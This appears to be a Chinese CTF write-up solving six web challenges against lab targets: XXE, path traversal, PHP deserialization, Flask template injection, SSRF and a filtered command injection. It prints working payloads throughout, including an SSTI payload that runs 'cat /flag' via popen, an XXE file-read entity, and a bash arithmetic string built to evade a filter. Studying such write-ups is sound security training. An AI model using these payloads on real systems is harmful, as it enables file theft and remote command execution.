题目1:EXX
这个题目考察XXE注入,这个从题目就可看出来(翻转一下就可),了解一下XXE注入,主要了解XML格式和其中DOCTYPE还有主体ENTITY的定义,重点利用的是外部实体注入攻击,因为服务器会直接将xml传送的内容做引用,这样便可以通过一些伪协议找到flag。
**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
上面是DOCTYPE 内部声明和外部声明两种格式,DOCTYPE用于定义xml文件中实体内容
内部声明实体
<!ENTITY 实体名称 "实体的值">
**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URL">
或者:
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">
上面是DOCTYPE内部实体分类,实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
本题直接通过Burp抓包后:
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>
<user><username>&b;</username><password>123</password></user>
加入这个 xml定义,这样在请求服务器的时候会通过外部引用php伪协议,进而拿到flag,并回显。
关于详细的XXE注入,参考:XXE知识总结,有这篇就够了!
题目2:高亮浏览器
这个最开始意味请求的是url参数,最后通过抓包才发现,真正请求的是theme参数
,先尝试随便发一个数据过去看看回显是什么:
Warning</b>: include(themes//flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php
这显然可以看到路径,flag就在根目录下,直接../../../../flag访问 。拿到flag
题目3:Serializing Authentication System
这个就是一个反序列化,没啥好说的,直接按照要求就可拿到flag
<?php
class User {
public $username;
public $password;
function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
$pay=new User("admin","secure_password");
echo base64_encode(serialize($pay));
?>
题目4:一个池子:
这个点开靶机是一个回声池,测试一下有没有flask注入:{{1+1}},发现返回的{{2}},ok了,直接构造payload就可以了:
input={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__["popen"]("cat /flag").read()}}
这里在找可以运行os命令的子类的时候,还是有些费劲的。一般有一些可用子类可以着重留意一下,这里没有考绕过,会有一些题目还会对这些魔法方法进行过滤,绕过可以参考下面这篇文章:
题目5:套娃浏览器
这个题目最后的解决是慢慢发现的,前面扫描了,也抓包了,最后发现他对于url=file:///etc/passwd有回显,直接认定是SSRF漏洞。一般这个漏洞是因为服务端没有对输入的url做过滤导致可以访问不安全的网站从而被攻击
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议:
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:注意这个协议使用的前提是服务器的端口可以拿到,这个没啥好方法,除非直接告诉你否则就爆破吧
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
用的最多的是file和tftp,php这几个协议。
这个题是简单的,直接用file伪协议构建url=file:///flag即可
题目六:百万美金的诱惑
这个题目有两个阶段,
阶段1:
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
ab使用md5绕过方法,c是若比较
ab用数组绕过,c用字符串绕过
a[]=1&b[]=2&c=2025abc
阶段2:
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>
这个过滤有点狠,全部的数字字符还有换行这些常用的绕过全部过滤,这个我当时确实没啥思路,只能在网上搜搜,最后发现一个绕过方法:
按照要求,构造payload 12如下;
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))